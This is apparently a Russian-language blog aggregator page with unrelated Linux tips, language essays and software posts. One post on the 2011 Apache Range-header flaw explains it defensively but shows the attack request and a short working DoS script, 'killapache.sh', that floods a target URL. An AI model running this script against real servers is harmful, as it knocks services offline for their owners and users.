Первый символ «=» означает начало условия, при котором пункт меню становится активным по умолчанию (при вызове меню курсор уже стоит на этом пункте, так что остаётся только нажать Enter); если перед ним стоит +, то пункт появляется в меню только при выполнении этого условия. Следующий символ — тип условия, например:

  • f шаблон — имя файла соответствует шаблону (если в начале файла меню не указана опция shell_patterns=0, то под шаблоном имеется в виду шелл-шаблон, в противном случае — регулярное выражение)
  • d шаблон — текущий каталог соответствует шаблону
  • t type — то, что под курсором, имеет тип:
    • n не является директорией
    • r обычный файл
    • d каталог
    • l ссылка
    • c последовательное устройство
    • b блочное устройство
    • f FIFO
    • s сокет
    • x исполняемый файл
    • t отмеченный файл

    Различные типы можно комбинировать, например, t rdl означает файл, каталог или ссылку

  • остальные тесты можно подсмотреть в упомянутой справке

Условия можно комбинировать и объединять, например:

# если находимся в папке /home/sites/sitename и под курсором — файл .sql, показать этот пункт меню
+= d /home/sites/site_name & f *.sql
S import sql-file to database sitedb
   mysql sitedb < %f

Таким образом, приведенный ранее кусок означает «если находимся в каталоге сайта или стоим на конфигурационном файле apache для него, показать команду перезапуска сервера и встать на нее курсором».

Остальное — дело фантазии и техники. Достаточно подумать о том, какие рутинные действия выполняются достаточно часто, и просто автоматизировать их.

sed -i wrt symlinks — Kir Kolyshkin

Оказалось, что sed -i, применённый к симлинку, делает из симлинка файл. А если этот симлинк -- /etc/grub.conf, который смотрит в /boot/grub/grub.conf, то потом на CentOS новые ядра не ставятся...

Чтобы этого не происходило, надо говорить sed -i -c.

Вот такая приключилась.

Русский акцент — Paradigma

Век учись — дураком помрёшь. Я, как и большинство русских, полагала, что русский акцент заключается, в основном, в более твёрдом произношении согласных. И, разумеется, в пресловутом rolled r. Выяснилось, однако, что англоязычное ухо плохо различает твёрдые и мягкие согласные, потому как в английском критерий твёрдости/мягкости не является важным, а раскатистую заднеязычную Р считает скорее признаком латиноамериканского, нежели русского акцента. Никто в школе не объяснил мне, что русских вычисляют по нашим специфическим гласным, точнее, по нашей неспособности различать открытые/закрытые и долгие/краткие гласные. Мы склонны произносить все гласные очень открыто и примерно на одном уровне подъема, тогда как для носителей английского языка гласный в слове «dress» звучит совсем не так, как в слове «trap», и «lot» сильно отличается от thought.

В статье Russian English фонетист Джон Уэлл поделился наблюдениями над особенностями русского произношения. Он съездил в Санкт-Петербург, где русские гиды, прекрасно образованные и владеющие английским на достойном уровне, водили его любоваться красотами Северной столицы. Профессиональный слух не оставляет настоящего лингвиста даже на каникулах, и в результате появилась любопытная и полезная во всех отношениях статья. Среди его замечаний есть только одно упоминание согласных — и то не в отношении мягкости-твердости, а в отношении привычки русских делать согласные на стыке слов звонкими (напр. в словосочетании «art dealer» в нашем варианте произношения обе согласные становятся чистым [d]). Все остальные претензии относятся к гласным и интонациям.

Подробнее об этом рассказала Ребекка Линкист в презентации, специально подготовленной для русских, пытающихся избавиться от акцента. Её советы были для меня во многом неожиданными:

<iframe allowfullscreen="allowfullscreen" frameborder="0" height="326" src="http://www.youtube.com/embed/sJZw0fuJOVc" width="510"></iframe>

И напоследок Тим Кёрби расскажет вам, что ему кажется смешным и неправильным в нашем произношении и научит правильно ругаться по-английски:

<iframe allowfullscreen="allowfullscreen" frameborder="0" height="326" src="http://www.youtube.com/embed/YZspl8T6-0U" width="510"></iframe>

Apache Killer и с чем его едят — SANMAI 三昧





Буквально пять дней назад в листе рассылки Full Disclosure появился скрипт, по заявлянию автора, убивающий Apache начиная от самых старых версий до самых новых.

И он действительно работает как обещано:
http://seclists.org/fulldisclosure/2011/Aug/175

Скрипт запускает в несколько десятков потоков простой запроc:
HEAD / HTTP/1.1
Host: www.example.com
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,<...>,5-1299,5-1300
Accept-Encoding: gzip
Connection: close

В ответ на такой запрос Apache собирает в памяти длинный ответ из перекрывающихся кусков запрошенного файла, который может занять заначительный объём памяти. При этом потрябление памяти Apache начинает резко расти, как на том графике в начале поста, что при должном количестве запросов призывает OOM Killer и приводит к DoS.

Разработчики Apache подошли к этой проблеме серьёзно, инициативные лица уже предложили изменения в RFC2616, закрывающие эту уязвимостью. Тем временем все сервера стоят открыты и не защищены. Как нам быть?

Если у вас перед Apache стоит nginx, то можно вообще ничего не делать, даже если статические файлы, для которых возможны описанные выше запросы, не раздаёт nginx. Проверить, уязвим ли ваш сервер к этой атаке можно так:

curl -I -H "Range: bytes=0-1,0-2" -s http://www.example.com/test.bin | grep Partial

Если этот тип файлов отдаёт Apache и вы видите 206 Partial Content, значит быть беде. Nginx в последних версиях этой проблеме не подвержен.

Если у вас во внешний мир Apache смотрит напрямую... Решение есть!

Обсуждение на хабре:
http://habrahabr.ru/blogs/infosecurity/127029/



Update: killapache.sh
#!/bin/bash
test "$1" == "" && echo $0 requests threads target-url && exit 0
seq 1 $1 | xargs -I{} -P $2 curl -I -H "User-Agent:" \
-H "Range: bytes=0-`printf ',5-%d' {10..1000}`" \
--compress -s $3 | grep HTTP

Адреса, пароли, явки и двойственное название KeePass — ♠ Краплёная колода

В начале 2010-го года на хабре провели опрос, связанный с количеством используемых паролей у респондентов. Большинство (> 70%) остановилось на варианте «2-3 пароля разного уровня стойкости». Когда-то мой ответ был таким же, но сейчас я предпочитаю для каждой регистрации генерировать новый пароль. И дело вовсе не в паранойе. Когда ты регулярно посещаешь десяток ресурсов — это одно, а когда количество аккаунтов переваливает за число X, возникают разного рода неудобства. В итоге я пришёл к выводу, что от запоминания паролей веет пережитком старины. Напрашивается аналогия с телефонными номерами. Если вы общаетесь с малым кругом людей, запомнить их номера не составит труда. С сотней контактов такой фокус не пройдёт, поэтому мы и ведём телефонную книгу.


Каким образом происходит идентификация пользователя? Авторизация на большинстве сайтов осуществляется по адресу электронной почты и паролю. В последнее время становится все больше сервисов, где вход можно выполнить и через Твиттер/Фейсбук. Но даже на таких ресурсах я часто остаюсь верен «дедовскому» методу login+pass, потому что разработчики любят спамить в социальные сети от моего имени, в общем ведут себя не по-джентльменски.

Возникает вопрос, как организовать работу с большим массивом секретных фраз. К счастью, о нас позаботились. Аналогом телефонной книги в мире приватных данных является менеджер паролей. Программ подобного плана хватает с избытком. Есть два варианта: либо носить зашифрованную базу данных с собой, либо довериться добрым дядям и хранить секреты online. На самом деле не всё так категорично, есть и комбинации этих вариантов. Я сижу сразу на двух стульях, если можно так выразится.

Для повседневных задач мне хватает LastPass. Он хранит данные где-то в облаках и благодаря плагинам для браузеров позволяет легко и непринуждённо заполнять необходимые поля. Самые сокровенные тайны я хочу контролировать самостоятельно, поэтому держу на компьютере KeePassX — кроссплатформенный форк KeePass с интерфейсом на Qt. Почему именно этот менеджер? Открытый, свободный и проверенный временем продукт.

Установка и использование
Программа присутствует в стандартных репозиториях Ubuntu. По заказу появится и у вас:
sudo aptitude install keepassx

После первого запуска предложат создать базу паролей и придумать мастер-пароль (не жалейте фантазии и памяти на него). Для паранойиков оставили возможность создать специальный файл-ключ. Затем по накатанной: делите пароли на категории и создаёте соответствующие записи. Файл с паролями имеет расширение *.kdb. Для пущего удобства рекомендую синхронизировать его через вездесущий Dropbox.

Главное окно KeePassX

С Большим Братом разобрались, а как поступить с мобильными устройствами? Lastpass делает плагины и для смартфонов, правда, доступны они при наличии premium аккаунта (месячная подписка обойдётся в 1$). Мне по душе связка KeePassDroid и Dropbox. Что называется, дёшево и сердито :-) Если честно, второй способ показался даже сподручнее первого, потому что LastPass на Андроиде плодит сущности, добавляя дополнительный браузер с функциями автозаполнения полей.

Напоследок
Надеюсь, после прочтения сумбурного рассказа кто-нибудь из читателей задумается о переходе на менеджер паролей. И кто знает, вдруг он останется доволен...

A way of a key, or how I achieved success configuring multimedia keys on my keyboard — Kir Kolyshkin

When I bought a new keyboard last week and those multimedia/internet keys were not working as expected, I learned a bit too much about how a key press event goes all the way from the hardware to the Linux kernel to X11. Actually, much more than I even wanted to know. I do not believe in humanity any more. Well, time will definitely heal me, but let me share the information I found before I forgot it for good.

My distro is Fedora 14, kernel 2.6.35, Xorg-1.9.5, xkeyboard-config 1.9. Desktop environment is XFCE 4.6. My new keyboard is Genius SlimStar 320. I use quite an old Logitech Trackball ("Cordless TrackMan FX, T-RA17) as a primary way to control on-screen pointer. This trackball was produced before mouse scroll wheels became a commodity so it lacks one. Fortunately the keyboard is equipped with a four-way " turbo scroll" button which in reality is just a circular four-key button.

Here comes the first problem: keyboard sends very unusual scancodes for most of the multimedia keys. For example, the "turbo scroll" sends codes 495 to 498. Most of the other multimedia keys send similar codes for example 499 (for "Presentation" key) or 506 (for "Yahoo Messenger" key). You can see those using 'showkey' utility from the 'kdb' package (make sure to run in from a text terminal, i.e. not from X Window).

Fortunately, every problem in computing can be solved by introducing an additional abstraction level (unfortunately, the problem of too many abstraction levels can't be solved using this method -- but this is out of scope of this blog entry). Now, the kernel already maps raw scan codes from the keyboard to so called key codes. We need to modify this table to map the multimedia key scancodes to more appropriate (more standard) key codes. As usual in UNIX systems, there are many ways to achieve that, but it looks like the preferred way of the day is to use udev 'keymaps' extension. Whenever udev sees a particular keyboard model (identified by USB vendor_id and product_id numbers) appearing in the system, it can apply a particular map for this keyboard. For key code names used in udev keymaps, see /usr/include/linux/input.h (look for #define KEY_* macros). To make a long story short for a busy reader, here (http://kan.gd/x9q) Is my patch to udev which fixes the bad key codes for my keyboard.

After using this one, some keys (like 'screenlock') started to work in XFCE, while some others were still dead. Well, not completely dead -- you can see the new codes using showkey, or, yet better, evtest utility. Next problem lies in the next level of abstraction called xkb (X Keyboard Extension).

First of all, due to someone thinking there will never be more than 256 keys, a keycode is one-byte, so values above 255 are not supported, X Window just can not see those. OK, this can be kludged by using codes in the range 1-255 in the above (udev keymap) step. But you still can see those that are within the one byte range -- use evdev utility for that. XKB translates the keycode into internal key name (such as I24 or K6C -- such translation is (mostly) defined in XKB's /usr/share/X11/xkb/keycodes/xfree86 file) and then into X11 key event name (which, for a multimedia key, is as cool as XF86AudioRaiseVolume or XF86ScrollUp -- such translation is (mostly) defined in XKB's /usr/share/X11/xkb/keymap/inet).

Now, you can assume that if you see keypress events with such descriptive key names you are all set. Hold on...

Next thing is to make your system react to those keys. In XFCE, go to Preferences -> Keyboard and select the Application Shortcuts tab. You will see quite a few key bindings already set for you, for example XF86WWW opens a web browser. While at it, you can learn some handy key combos for you.

Please note that if you are going to use keys to control volume, XFCE configures aumix for XF86AudioRaiseVolume and ...LowerVolume. First, aumix is not installed, but even if installed it can't deal with the default PulseAudio mixer configured in Fedora 14. The fix is to use amixer instead, here are the relevant commands (you can try if it works for you from the command line and adjust accordingly):

Raise: amixer -q set Master 2%+ unmute
Lower: amixer q set Master 2% unmute
Mute: amixer -q set Master toggle

Next thing is, in order for scrolling (XF86ScrollUp and ...Down) to work, you need something very kludgy -- transform keyboard events into mouse events. Again, there is more one way of doing it; I used the xte tool (from the package of the same name). Here are the relevant rules:

XF86ScrollUp: xte 'mouseclick 4'
XF86ScrollDown: xte 'mouseclick 5'

If you are not an XFCE user, you can use xbindkeys for the same purpose.

Mailman - найдется все. Полнотекстовый поиск по рассылке. — Tips & Triks

Mailman является одной из самых популярных служб почтовой рассылки.
Просто потому что он легок в установке и настройке, а так же проверен
временем и людьми. Но при этом он совсем не является самым лучшим, т.к
имеет несколько минусов по сравнению с той же Sympa, один из них это отсутствие
поиска по архиву.

Исполнился месяц проекту BSDniR — записки юного БСДешника

Итак. Тем кто читает мой блог, и уже успел подписаться, то уж потерпите, обещаю, что такое же будет не скоро.
Вообще то, месяц проекту BSDniR (BSD news in Russian) стукнул ещё неделю назад, но всё как то было не собраться.
На удивление проект жив, вроде как даже кому то, кроме меня, любопытен.

За первый месяц проект посетили 823 раза и сделали 1158 просмотров. Основная часть, конечно же, Россия и Украина, но общее количество стран, аж 34, отчасти такому разнообразию видимо помогла ссылка на freebsdnews.net, так как заходов с поисковиков, пока немного.
Отчасти такие скромные результаты обусловлены тем, что я практически нигде не рекламировал сайт, из заметных размещений, был пожалуй один пост на форуме lissyara.su, так же там было небольшое голосование, о полезности ресурса.
Из курьёзов стоит пожалуй упомянуть появление ссылок на лурке, и на опеннете и даже на 127.0.0.1. Кстати об опеннете, ссылка там была в коментариях, и вроде дала немало заходов, но особой реакции было не заметно.

Так же, для пока не ясных целей куплен домен bsdnir.info, вероятно со временем туда будет налажена трансляция, и может появятся какие нибудь полезности, пока же там висит вот такая высокохудожественная заглушка и доступна она только счастливым обладателям IPv6 ;)

Так же хочется поблагодарить тех кто помогал всё это время, указывая ли на мои ошибки, или присылая поводы и болванки для новостей, очень приятно, что данная затея кажется нужной не только мне.

Отдельная кодировка в vim для файлов из определенных директорий — Bappoy's blog » linux

Если какой-то старый проект по разным причинам нельзя перевести из koi8 или cp1251 в utf8, то чтобы не писать каждый раз :e ++enc=cp1251 при открытии файла из определенной папки, можно добавить в ~/.vimrc следующий кусок:

if expand("%:p:h") =~ '^/path/to/project'  ||  expand("%:p:t") == 'filename.txt'
    :silent :e ++enc=cp1251
endif

Выражение :expand("%:p") преобразуется в полный путь к файлу, а с модификатором :h (head, путь к файла без последнего компонента) — в папку; чтобы получить только имя файла, можно воспользоваться модификатором :t (tail, последний компонент пути). :silent нужен, чтобы избавиться от предложения vim «Press ENTER or type command to continue».

Павел Вязовой

Конвертация электронных книг для e-Ink устройств (PDF и др.) — Unix way

У меня есть электронная читалка azbooka n516, которая является русифицированным вариантом китайской читалки Hanvon n516.
Есть проблема - pdf-файлы, в большинстве случаев (кроме оптимизированных для небольших экранов) рассчитаны на печать в формате A4. На пятидюймовой читалке текст в них слишком мелкий в режиме без горизонтального скроллинга. Я поделюсь с вами несколькими программами для подготовки файлов к просмотру на таком устройстве.

k2pdfopt - автоматическая оптимизация PDF
Начну с самого вкусного: k2pdfopt (Win/Linux)
Эта программа - настоящее открытие. Если кратко - перетащи pdf-файл на иконку программы и получи оптимизированный.
Подробнее: многие файлы в pdf содержат поля по краям без текста, а также верстаются в две колонки (журнал OpenSource, который я выбрал для теста, как раз оказался двухколоночным). Программа обрабатывает все поданные на вход файлы, а также может создать pdf-файл из изображений. Работает полностью автоматически в консольном режиме, но, при необходимости, настраивается. У автора программы kindle и его программа оптимизирована под 6 дюймов. Но и на моих пяти журнал прекрасно читался без масштабирования и горизонтальной прокрутки. Шикарная программа!



Briss - ручная обработка PDF
Следующая программа - briss (Java)
Отличная программа для ручного удаления полей. Пригодится для тех документов, с которыми не справился k2pdfopt. Ничего замысловатого - выделяете важную область на экране, затем обрезаете все остальное. В процессе тестирования я обнаружил, что разбивать колонки на страницы она тоже умеет, пример на скриншоте:



Cut2Col - ручная разбивка двухколоночных документов.
Следующий кандидат - cut2col (Java)
Тут всё очень просто - это программа для ручной обработки двухколоночных файлов.


Для иллюстрации работы с программой есть видео:

<object class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://1.gvt0.com/vi/ErO-My169H0/0.jpg" height="266" width="320"><param name="movie" value="http://www.youtube.com/v/ErO-My169H0&amp;fs=1&amp;source=uds"/><param name="bgcolor" value="#FFFFFF"/><embed height="266" src="http://www.youtube.com/v/ErO-My169H0&amp;fs=1&amp;source=uds" type="application/x-shockwave-flash" width="320"></embed></object>


Другие программы
 Вот ещё несколько не менее достойных программ, на обзор которых меня не хватило:
  • Calibre - каталогизатор, конвертер, может конвертировать rss-ленты. Тормозной и неудобный, но многофункциональный, свободный, кроссплатформенный и имеет множество плагинов. Есть плагин для интеграции с goodreads.
  • PDF Masher  - конвертирование PDF в MOBI/EPUB, более умное и настраиваемое, чем в Calibre (сравнение от автора программы)
  • jPdfTweak - шцейцарский (армейский?) нож для работы с PDF.
  • Papercrop - аналог k2pdfopt
  • Hamstersoft Ebook Converter - конвертер для windows, красивый и удобный.

Исправительное образование — Paradigma

Доставшийся русскому языку в наследство от греков корень орфо-/.орто- (разная традиция передачи в русском языке буквы Ѳ) изначально обозначал нечто прямое, не отклоняющееся в сторону. Значение «правильный» возникло, как производное. Вряд ли для греков прямая была лучше, прекраснее или моральнее кривой. Просто она служила ориентиром, уровнем. Однако со временем прямое — через правильное — стало нормой и вышло из области математики с геометрией в область этики. Прошли века, сменились цивилизации, а вместе с ними и нормы. То, что для греков было вполне правильно и приемлемо, сегодня вряд ли бы обозначили словом straight.

В русском языке корень орфо-/.орто- прилип к довольно скучным предметам — орфография, ортодонтия, ортодоксальный. Эти слова роднит одно — убежденность, что существует единственный вариант нормы, и всяческое отклонение следует исправлять. Ваши передние зубы выросли слегка под углом? Какая жалость, как вы можете с этим жить? Но ничего, поставьте брекеты и скоро, через несколько мучительных месяцев, вы сможете широко улыбаться, хоть в рекламе зубной пасты снимай. Через душевные переживания и напряжение мысли вы пришли к выводам, отличным от догматов (проставить нужное)? Это происки лукавого, слаб человек. Вам следует (читать «Отче наш» каждый день восемь раз, поститься, обрезаться, отказаться от определенных сортов мяса, отказаться от мяса вообще, пожертвовать свой дом нашему пророку) и душа ваша будет спасена, дух воспрянет и станет прямым, как черта, соединяющая две точки.

С орфографией всё не так очевидно. В дореволюционной России были занятия по чистописанию. Это было честным названием, которое не обманывало никого — детей учили писать слова в соответствии с нормой и ставили почерк. Самая что ни на есть орфография, «пишу правильно». На каком-то этапе (я не знаю точно, когда, не занималась специальным исследованием) произошла подмена: уроки правописания стали называть уроками русского языка. По существу уроки ничуть не изменились, школьникам, как и раньше, вдалбливают правила правописания, не объясняя ни одно из них. Однако теперь школьники уверены, что правила — это и есть язык. В университете я не переставала удивляться, почему никто не удосужился объяснить школьникам закономерности языка, породившие орфографические правила. Ведь понять гораздо проще, чем запомнить. Поняв принципы и причины, ученики стали бы делать меньше нелепых ошибок. Увы, существующая школьная практика не слишком подходит для того, чтобы что-то объяснять.

Став школьной дисциплиной под названием «Русский Язык», орфография вытеснила другое, гораздо более важное занятие — развитие речи. Умение связно, понятно изложить мысль в беседе и на бумаге развивается одновременно со способностью породить внятную, связную мысль. Если ты не способен что-то выразить, ты не способен это и подумать, это факт проверенный многими поколениями психолингвистов и нейрофизиологов. Без речи сознание наше темно, разум блуждает среди неясных, неконцептуализированных видений. В моё время абитуриенты ещё писали сочинения, но сейчас, видимо, чтобы пощадить нервную систему приёмной комиссии, сочинения отменили. Я прекрасно помню время, когда тест по русскому языку в качестве экзамена существовал только в виде идеи, и многие честные лингвисты категорически возражали против подобного подхода. Как бы то ни было, замена сочинения на тест — лишь логическое завершение торжества орфографии над искусством владения родным языком, нормы над творчеством.

Ошибка ошибке рознь. Хоть я и лингвист, мне нет дела до чередования гласных в корнях глаголов. Пусть себе чередуются, раз так легла историческая карта. Человек может ошибиться в выборе «е» или «и», не запомнить всех этих «бер-бира», «пер-пира». Возможно, человек задумался о чем-то другом, более важном, возможно, подвела память. Если проводить аналогии между ошибками такого рода и болезнями, это — легкое ОРЗ.

Есть ошибки гораздо хуже. В доисторическую эпоху, когда не было интернета, я и представить не могла, как много людей норовят поставить запятую между подлежащим и сказуемым. Формально говоря, предложение, являясь языковым отражением суждения, состоит из субъекта (подлежащее, как правило, тема) и действия/состояния (сказуемое, как правило, рема). Это центр, ядро предложения. Зачем отделять запятой одно от другого? Чем руководствуются люди, ставя запятую между субъектом и его действием? Я долго думала над этим и пришла к выводу, что запятая в подобных случаях, вероятно, вызвана интонационной паузой. Человек обозначил тему своего сообщения (подлежащее), и тут его мысль споткнулась. Нужно время, чтобы сформировать продолжение сообщения, понять, а что хотел сказать-то? Недоразвитая мысль, выпрыгнувшая на уровень слов прежде, чем мозги успели состряпать что-либо вразумительное. Преждевременное, злокачественное деление мысли. Интеллектуальная лень? Небрежность? Отсутствие навыка точно формулировать свою мысль?

Я не пурист и не претендую на звание безупречно грамотного человека. Признаться честно, я не слишком высоко ценю абсолютную грамотность. Можно писать безупречно грамотно и безнадёжно скучно (почему-то именно такие образчики грамотности мне попадались чаще всего). Вопли о поголовной безграмотности мало волнуют меня. Но всякий раз, когда я вижу чудовищную ошибку, свидетельствующую о распаде мысли, я поминаю недобрым словом систему образования, поставившую нормативность выше развития, орфографию выше языка.






gtk-vector-screenshot: теперь в Debian sid! — Debiania: просто ещё один блог о Debian

Вчера автор gtk-vector-screenshot, Joachim Breitner, сообщил о том, что его разработка успешно создаёт скриншоты окна Epiphany (об этом ему в свою очередь сообщил Martin Borgert). Так что те, кто читал мой предыдущий пост и заинтересовался идеей, могут подключать репозитории sid и ставить себе вкусняшку — она уже работает ;)

Оригинальный пост

UPD 14.07.2011: по просьбам трудящихся своро^Wскопировал из оригинального поста превьюшку PDF'ки.

BSD news in Russian — записки юного БСДешника

Если гора не идет к Магомету, то Магомет идет к горе.
(с) кто то, давно
Так как положение с новостями на русском языке, о BSD подобных ОС, если не ухудшается, то уж точно не улучшалось.
Поэтому было принято волевое решение и организован ресурс http://bsdnir.blogspot.com/, а так же сопутствующие сервисы. Назван не замысловато BSD news in Russian(BSD новости по-русски), из чего вытекает основное направление деятельности, это предоставление новостей из мира BSD.
В качестве примеров для подражания были выбраны англоязычные ресурсы DragonFly BSD Digest и FreeBSD News, вот что то похожее и постараюсь создать.
Как и положено современному, особенно новостному ресурсу заведены, твиттер @bsdnir, причём он не является автогенерируемым, так же заведена страничка в facebook, там как раз статьи просто репостятся в заметки, ну и конечно же RSS лента.
Так что если кому то такая идея по душе, то не стесняйтесь присоединяться, так же буду рад любым замечаниям и предложениям :)

Этот блог не куда не девается, и может даже станет чаще обновляться ;)

Скриншоты в PDF с GTK 3 — Debiania: просто ещё один блог о Debian

Для тех, кто не читает Planet Debian, маленький итог из двух тамошних постов.

Joachim Breitner разработал небольшой модуль, который, будучи загруженным вместе с GTK3-приложением, отображает кнопку, с помощью которой можно создать скриншот окна и сохранить его в PDF, SVG, PostScript или даже PNG. Преимуществом таких скриншотов является то, что они представляют собой векторную графику, а значит:
  • текст на них индексируем и по нему можно производить поиск
  • они идеально масштабируются, а значит, электронные мануалы с их использованием выглядят привлекательно вне зависимости от разрешения экрана и размеров окна вьювера
На пример такого скриншота можно поглядеть в этой pdf'ке, а здесь можно скачать скринкаст (Ogg Theora, 2Mb), в котором показан процесс её создания. Архивы с исходниками можно скачать здесь, а репозиторий — найти на gitorious.org.

Собственно, те самые два поста, в которых Joachim описывает свой модуль:
  1. Better PDF screenshots with gtk 3
  2. gtk-vector-screenshot code published

Настройка virtualBox — Записки ubuntu'йца

VirtualBox — это программа эмулятор виртуального компьютера. В котором можно установить любую операционную систему. Например вы работаете в Linux, но вам нужно что то сделать в Windows или FreeBSD, запустите программу, установите нужную вам систему и включайте ее в любое удобное вам время.
Есть правда в этой программе свои недостатки. Если устанавливать ее из меню установка/удаление программ, то установиться не полная версия а обрезная, которая не позволяет работать с USB устройствами. Для исправления этого недостатка, устанавливайте только полную версию скачанную с сайта программы. Добавить новую группу (системаадминистрирование-пользователи и группы) "vboxusers" запустить в терминале:<o:p></o:p>

cat /etc/group | grep vboxusers<o:p></o:p>

узнать код юзера (например 125)<o:p></o:p>
добавить в терминале:<o:p></o:p>

sudo adduser gard vboxusers<o:p></o:p>

добавить в терминале:<o:p></o:p>

sudo gedit /etc/fstab<o:p></o:p>

и в открывшемся файле добавить:<o:p></o:p>

# 125 is the vboxusers group
none /proc/bus/usb usbfs devgid=125,devmode=664 0 0<o:p></o:p>

сохраняем файл, вводим sudo mount -a и перезагружаем компьютер. Открываем virtualbox, устанавливаем windowsXP, выбираем "свойства"-"USB" нажимаем на кнопку "добавить пустой фильтр". При загрузке виртуальной машины, вставляем любое устройство в USB, выбираем в окне "устройства"-"подключенное устройство" и пользуемся...<o:p></o:p>

Технический этаж